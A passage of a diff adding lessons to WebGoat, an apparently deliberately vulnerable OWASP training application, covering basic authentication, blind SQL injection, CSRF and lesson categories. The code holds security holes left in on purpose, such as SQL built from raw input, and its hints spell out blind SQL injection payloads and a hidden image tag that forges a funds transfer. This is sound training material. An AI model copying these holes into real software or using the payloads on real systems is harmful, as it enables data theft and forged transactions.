private static final String ORIGINAL_USER = "Original.user";
private static final String BASIC = "basic";
private static final String JSESSIONID = "JSESSIONID";
private final static String HEADER_NAME = "header";
private final static String HEADER_VALUE = "value";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
String headerName = null;
String headerValue = null;
try
{
headerName = new String(s.getParser().getStringParameter(
HEADER_NAME, EMPTY_STRING));
headerValue = new String(s.getParser().getStringParameter(
HEADER_VALUE, EMPTY_STRING));
//<START_OMIT_SOURCE>
// FIXME: This won;t work for CBT, we need to use the UserTracker
//Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
if (headerName.equalsIgnoreCase(AUTHORIZATION)
&& (headerValue.equals("guest:guest") || headerValue
.equals("webgoat:webgoat")))
{
getLessonTracker(s).setStage(2);
return doStage2(s);
}
else
{
if (headerName.length() > 0
&& !headerName.equalsIgnoreCase(AUTHORIZATION))
{
s
.setMessage("Basic Authentication header name is incorrect.");
}
if (headerValue.length() > 0
&& !(headerValue.equals("guest:guest") || headerValue
.equals("webgoat:webgoat")))
{
s
.setMessage("Basic Authentication header value is incorrect.");
}
}
//<END_OMIT_SOURCE>
Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
if (s.isColor())
{
t.setBorder(1);
}
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new StringElement(
"What is the name of the authentication header: ")));
row2
.addElement(new TD(
new StringElement(
"What is the decoded value of the authentication header: ")));
row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME,
headerName.toString())));
row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE,
headerValue.toString())));
t.addElement(row1);
t.addElement(row2);
ec.addElement(t);
ec.addElement(new P());
Element b = ECSFactory.makeButton("Submit");
ec.addElement(b);
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element doStage2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
try
{
if (s.getRequest().isUserInRole(WEBGOAT_BASIC))
{
String originalUser = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_USER, EMPTY_STRING);
getLessonTracker(s, originalUser).setCompleted(true);
getLessonTracker(s, originalUser).setStage(1);
getLessonTracker(s, originalUser).store(s, this);
makeSuccess(s);
s.setMessage("Close your browser and login as " + originalUser
+ " to get your green stars back.");
return ec;
}
else
{
// If we are still in the ORIGINAL_USER role see if the Basic Auth header has been manipulated
String originalAuth = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_AUTH, EMPTY_STRING);
String originalSessionId = getLessonTracker(s)
.getLessonProperties().getProperty(JSESSIONID,
s.getCookie(JSESSIONID));
// store the original user info in the BASIC properties files
if (originalSessionId.equals(s.getCookie(JSESSIONID)))
{
// Store the original user name in the "basic" user properties file. We need to use
// the original user to access the correct properties file to update status.
// store the initial auth header
getLessonTracker(s).getLessonProperties().setProperty(
JSESSIONID, originalSessionId);
getLessonTracker(s).getLessonProperties().setProperty(
ORIGINAL_AUTH, s.getHeader(AUTHORIZATION));
getLessonTracker(s, BASIC).getLessonProperties()
.setProperty(ORIGINAL_USER, s.getUserName());
getLessonTracker(s, BASIC).setStage(2);
getLessonTracker(s, BASIC).store(s, this, BASIC);
}
s.setMessage("Congratulations, you have figured out the mechanics of basic authentication.");
s.setMessage("&nbsp;&nbsp;- Now you must try to make WebGoat reauthenticate you as: ");
s.setMessage("&nbsp;&nbsp;&nbsp;&nbsp;- username: basic");
s.setMessage("&nbsp;&nbsp;&nbsp;&nbsp;- password: basic");
s.setMessage("Use the Basic Authentication Menu to start at login page.");
// If the auth header is different but still the original user - tell the user
// that the original cookie was posted bak and basic auth uses the cookie before the
// authorization token
if (!originalAuth.equals("")
&& !originalAuth.equals(s.getHeader(AUTHORIZATION)))
{
ec
.addElement("You're almost there! You've modified the "
+ AUTHORIZATION
+ " header but you are "
+ "still logged in as "
+ s.getUserName()
+ ". Look at the request after you typed in the 'basic' "
+ "user credentials and submitted the request. Remember the order of events that occur during Basic Authentication.");
}
else if (!originalSessionId.equals(s.getCookie(JSESSIONID)))
{
ec
.addElement("You're really close! Changing the session cookie caused the server to create a new session for you. This did not cause the server to reauthenticate you. "
+ "When you figure out how to force the server to perform an authentication request, you have to authenticate as:<br><br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;user name: basic<br> "
+ "&nbsp;&nbsp;&nbsp;&nbsp;password: basic<br>");
}
else
{
ec.addElement("Use the hints! One at a time...");
}
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.AUTHENTICATION;
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
// int stage = getLessonTracker(session, BASIC).getStage();
// switch ( stage )
// {
// case 1:
hints
.add("Basic authentication uses a cookie to pass the credentials. "
+ "Use a proxy to intercept the request. Look at the cookies.");
hints
.add("Basic authentication uses Base64 encoding to 'scramble' the "
+ "user's login credentials.");
hints
.add("Basic authentication uses 'Authorization' as the cookie name to "
+ "store the user's credentials.");
hints.add("Use WebScarab -> Tools -> Transcoder to Base64 decode the "
+ "the value in the Authorization cookie.");
// break;
// case 2:
hints
.add("Basic authentication uses a cookie to pass the credentials. "
+ "Use a proxy to intercept the request. Look at the cookies.");
hints
.add("Before the WebServer requests credentials from the client, the current "
+ "session is checked for validitity.");
hints
.add("If the session is invalid the webserver will use the basic authentication credentials");
hints
.add("If the session is invalid and the basic authentication credentials are invalid, "
+ "new credentials will be requested from the client.");
hints
.add("Intercept the request and corrupt the JSESSIONID and the Authorization header.");
// break;
// }
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Basic Authentication");
}
}

317
main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java Normal file
View File

@ -0,0 +1,317 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Chuck Willis <a href="http://www.securityfoundry.com">Chuck's web
* site</a> (this lesson is heavily based on Bruce Mayhews' SQL
* Injection lesson
* @created January 14, 2005
*/
public class BlindSqlInjection extends LessonAdapter
{
private final static String ACCT_NUM = "account_number";
private final static int TARGET_ACCT_NUM = 15613;
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(new P().addElement("Enter your Account Number: "));
String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
String answer_query;
if (runningOnWindows())
{
answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = "
+ TARGET_ACCT_NUM;
} else
{
answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
}
try
{
Statement answer_statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first();
System.out.println("Account: " + accountNumber );
System.out.println("Answer : " + answer_results.getString(1));
if (accountNumber.toString().equals(answer_results.getString(1)))
{
makeSuccess(s);
} else
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ec.addElement(new P().addElement("Account number is valid"));
} else
{
ec.addElement(new P().addElement("Invalid account number"));
}
}
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement("An error occurred, please try again."));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Gets the category attribute of the SqlInjection object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the credits attribute of the AbstractLesson object
*
* @return The credits value
*/
public Element getCredits()
{
return new StringElement("By Chuck Willis");
}
/**
*
* Determines the OS that WebGoat is running on. Needed because different DB
* backends are used on the different OSes (Access on Windows, InstantDB on
* others)
*
* @return true if running on Windows, false otherwise
*/
private boolean runningOnWindows()
{
String os = System.getProperty("os.name", "Windows");
if (os.toLowerCase().indexOf("window") != -1)
{
return true;
} else
{
return false;
}
}
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
if (runningOnWindows())
{
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing "
+ "down the character using > and <"
+ "<br><br>The backend database is Microsoft Access. Keep that in mind if you research SQL functions "
+ "on the Internet since different databases use some different functions and syntax.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>mid(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters "
+ "<br><br>asc(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints
.add("Example: is the first character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no.");
hints
.add("Another example: is the second character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " greater than 'm' (ascii 109)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
} else
{
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing "
+ "down the character using > and <");
hints
.add("The database backend is InstantDB. Here is a reference guide : <a href=\"http://www.instantdb.com/doc/syntax.html\" target=\"_blank\">http://www.instantdb.com/doc/syntax.html</a>");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br>The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>mid(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters "
+ "<br><br>asc(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br>Example: is the first character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no.");
hints
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br> example: is the second character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " greater than 'm' (ascii 109)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
}
return hints;
}
/**
* Gets the instructions attribute of the SqlInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "The form below allows a user to enter an account number and determine if "
+ "it is valid or not. Use this form to develop a true / false test check other entries in the database. "
+ "<br><br>Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 "
+ "<br><br>The goal is to find the value of "
+ "the first_name in table user_data for userid "
+ TARGET_ACCT_NUM
+ ". Put the discovered name in the form to pass the lesson. Only the discovered name "
+ "should be put into the form field, paying close attention to the spelling and capitalization.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(70);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Blind SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
}
catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
}

110
main/project/JavaSource/org/owasp/webgoat/lessons/BufferOverflow.java Normal file
View File

@ -0,0 +1,110 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class BufferOverflow extends LessonAdapter
{
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
// just to get the generic how to text.
return super.createContent(s);
}
/**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.BUFFER_OVERFLOW;
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Lesson Hint 1");
hints.add("Lesson Hint 2");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Buffer Overflow");
}
public Element getCredits()
{
return new StringElement(
"This screen created by: Your name could go here");
}
}

318
main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java Normal file
View File

@ -0,0 +1,318 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.B;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
*/
public class CSRF extends LessonAdapter {
private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3;
private final static String NUMBER = "Num";
private final static int NUM_COL = 1;
private final static String STANDARD_QUERY = "SELECT * FROM messages";
private final static String TITLE = "title";
private final static int TITLE_COL = 2;
private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
/**
* Adds a feature to the Message attribute of the MessageBoardScreen object
*
* @param s The feature to be added to the Message attribute
*/
protected void addMessage( WebSession s )
{
try
{
String title = HtmlEncoder.encode( s.getParser().getRawParameter( TITLE, "" ) );
String message = s.getParser().getRawParameter( MESSAGE, "" );
Connection connection = DatabaseUtilities.getConnection( s );
String query = "INSERT INTO messages VALUES (?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
statement.setInt(1, count++);
statement.setString(2, title);
statement.setString(3, message);
statement.setString(4, s.getUserName());
statement.executeQuery();
}
catch ( Exception e )
{
// ignore the empty resultset on the insert. There are a few more SQL Injection errors
// that could be trapped here but we will let them try. One error would be something
// like "Characters found after end of SQL statement."
if ( e.getMessage().indexOf("No ResultSet was produced") == -1 )
{
s.setMessage( "Could not add message to database" );
}
}
}
@Override
protected Element createContent(WebSession s) {
ElementContainer ec = new ElementContainer();
addMessage( s );
ec.addElement( makeInput( s ) );
ec.addElement( new HR() );
ec.addElement( makeCurrent( s ) );
ec.addElement( new HR() );
ec.addElement( makeList( s ) );
return ec;
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeInput( WebSession s )
{
Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 );
TR row1 = new TR();
TR row2 = new TR();
row1.addElement( new TD( new StringElement( "Title: " ) ) );
Input inputTitle = new Input( Input.TEXT, TITLE, "" );
row1.addElement( new TD( inputTitle ) );
TD item1 = new TD();
item1.setVAlign( "TOP" );
item1.addElement( new StringElement( "Message: " ) );
row2.addElement( item1 );
TD item2 = new TD();
TextArea ta = new TextArea( MESSAGE, 5, 60 );
item2.addElement( ta );
row2.addElement( item2 );
t.addElement( row1 );
t.addElement( row2 );
Element b = ECSFactory.makeButton( "Submit" );
ElementContainer ec = new ElementContainer();
ec.addElement( t );
ec.addElement( new P().addElement( b ) );
return ( ec );
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
public Element makeList( WebSession s )
{
Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 );
try
{
Connection connection = DatabaseUtilities.getConnection( s );
Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
ResultSet results = statement.executeQuery( STANDARD_QUERY + " WHERE user_name LIKE '" + getNameroot( s.getUserName() ) + "%'" );
if ( ( results != null ) && ( results.first() == true ) )
{
results.beforeFirst();
for ( int i = 0; results.next(); i++ )
{
String link = "<a href='" + getLink() + "&" + NUMBER + "=" + results.getInt( NUM_COL ) +
"' style='cursor:hand'>" + results.getString( TITLE_COL ) + "</a>";
TD td = new TD().addElement( link );
TR tr = new TR().addElement( td );
t.addElement( tr );
}
}
}
catch ( Exception e )
{
s.setMessage( "Error while getting message list." );
}
ElementContainer ec = new ElementContainer();
ec.addElement( new H1( "Message List" ) );
ec.addElement( t );
String transferFunds = s.getParser().getRawParameter("transferFunds" , "");
if (transferFunds.length() != 0)
{
makeSuccess(s);
}
return ( ec );
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeCurrent( WebSession s )
{
ElementContainer ec = new ElementContainer();
try
{
int messageNum = s.getParser().getIntParameter( NUMBER, 0 );
Connection connection = DatabaseUtilities.getConnection( s );
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?";
PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
statement.setString(1, getNameroot( s.getUserName() ) + "%");
statement.setInt(2, messageNum);
ResultSet results = statement.executeQuery();
if ( ( results != null ) && results.first() )
{
ec.addElement( new H1( "Message Contents For: " + results.getString( TITLE_COL )) );
Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 );
TR row1 = new TR( new TD( new B(new StringElement( "Title:" )) ) );
row1.addElement( new TD( new StringElement( results.getString( TITLE_COL ) ) ) );
t.addElement( row1 );
String messageData = results.getString( MESSAGE_COL );
TR row2 = new TR( new TD( new B(new StringElement( "Message:" )) ) );
row2.addElement( new TD( new StringElement( messageData ) ) );
t.addElement( row2 );
TR row3 = new TR( new TD( new StringElement( "Posted By:" ) ) );
row3.addElement( new TD( new StringElement( results.getString( USER_COL ) ) ) );
t.addElement( row3 );
ec.addElement( t );
}
else
{
if ( messageNum != 0 )
{
ec.addElement( new P().addElement( "Could not find message " + messageNum ) );
}
}
}
catch ( Exception e )
{
s.setMessage( "Error generating " + this.getClass().getName() );
e.printStackTrace();
}
return ( ec );
}
@Override
protected Category getDefaultCategory() {
return Category.XSS;
}
private final static Integer DEFAULT_RANKING = new Integer(120);
@Override
protected Integer getDefaultRanking() {
return DEFAULT_RANKING;
}
@Override
protected List<String> getHints(WebSession s) {
List<String> hints = new ArrayList<String>();
hints.add( "Enter some text and try to include an image in there." );
hints.add( "In order to make the picture almost invisible try to add width=\"1\" and height=\"1\"." );
hints.add( "The format of an image in html is <pre>&lt;img src=\"[URL]\" width=\"1\" height=\"1\" /&gt;</pre>");
hints.add( "Include this URL in the message <pre>&lt;img src='" + getLink() +
"&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>");
return hints;
}
/**
* Gets the title attribute of the MessageBoardScreen object
*
* @return The title value
*/
public String getTitle()
{
return ( "Cross Site Request Forgery (CSRF)" );
}
private static String getNameroot( String name )
{
String nameroot = name;
if (nameroot.indexOf('-') != -1)
{
nameroot = nameroot.substring(0, nameroot.indexOf('-'));
}
return nameroot;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
}

164
main/project/JavaSource/org/owasp/webgoat/lessons/Category.java Normal file
View File

@ -0,0 +1,164 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class Category implements Comparable
{
public final static Category UNVALIDATED_PARAMETERS = new Category("Unvalidated Parameters", new Integer(110));
public final static Category ACCESS_CONTROL = new Category("Access Control Flaws", new Integer(210));
public final static Category AUTHENTICATION = new Category("Authentication Flaws", new Integer(310));
public final static Category SESSION_MANAGEMENT = new Category("Session Management Flaws", new Integer(320));
public final static Category XSS = new Category("Cross-Site Scripting (XSS)", new Integer(410));
public final static Category BUFFER_OVERFLOW = new Category("Buffer Overflows", new Integer(510));
public final static Category INJECTION = new Category("Injection Flaws", new Integer(610));
public final static Category ERROR_HANDLING = new Category("Improper Error Handling", new Integer(710));
public final static Category INSECURE_STORAGE = new Category("Insecure Storage", new Integer(810));
public final static Category DOS = new Category("Denial of Service", new Integer(910));
public final static Category INSECURE_CONFIGURATION = new Category("Insecure Configuration", new Integer(1010));
public final static Category WEB_SERVICES = new Category("Web Services", new Integer(1110));
public final static Category AJAX_SECURITY = new Category("AJAX Security", new Integer(1150));
public final static Category ADMIN_FUNCTIONS = new Category("Admin Functions", new Integer(10));
public final static Category GENERAL = new Category("General", new Integer(50));
public final static Category CODE_QUALITY = new Category("Code Quality", new Integer(70));
public final static Category CONCURRENCY = new Category("Concurrency", new Integer(80));
public final static Category CHALLENGE = new Category("Challenge", new Integer(2000));
private static final List<Category> categories = new ArrayList<Category>();
private String category;
private Integer ranking;
static
{
categories.add(UNVALIDATED_PARAMETERS);
categories.add(ACCESS_CONTROL);
categories.add(AUTHENTICATION);
categories.add(SESSION_MANAGEMENT);
categories.add(XSS);
categories.add(BUFFER_OVERFLOW);
categories.add(INJECTION);
categories.add(ERROR_HANDLING);
categories.add(INSECURE_STORAGE);
categories.add(DOS);
categories.add(INSECURE_CONFIGURATION);
categories.add(WEB_SERVICES);
categories.add(AJAX_SECURITY);
categories.add(ADMIN_FUNCTIONS);
categories.add(GENERAL);
categories.add(CODE_QUALITY);
categories.add(CONCURRENCY);
categories.add(CHALLENGE);
}
public static synchronized void addCategory(Category c)
{
categories.add(c);
}
public static synchronized Category getCategory(String name)
{
Iterator<Category> it = categories.iterator();
while (it.hasNext())
{
Category c = it.next();
if (c.getName().equals(name)) return c;
}
return null;
}
public Category(String category, Integer ranking)
{
this.category = category;
this.ranking = ranking;
}
public int compareTo(Object obj)
{
int value = 1;
if (obj instanceof Category)
{
value = this.getRanking().compareTo(((Category) obj).getRanking());
}
return value;
}
public Integer getRanking()
{
return ranking;
}
public Integer setRanking(Integer ranking)
{
return this.ranking = ranking;
}
public String getName()
{
return category;
}
public boolean equals(Object obj)
{
return (obj instanceof Category) && getName().equals(((Category) obj).getName());
}
public String toString()
{
return getName();
}
}

826
main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java Normal file
View File

@ -0,0 +1,826 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.OutputStreamWriter;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import java.util.StringTokenizer;
import java.util.Vector;
import javax.servlet.http.Cookie;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
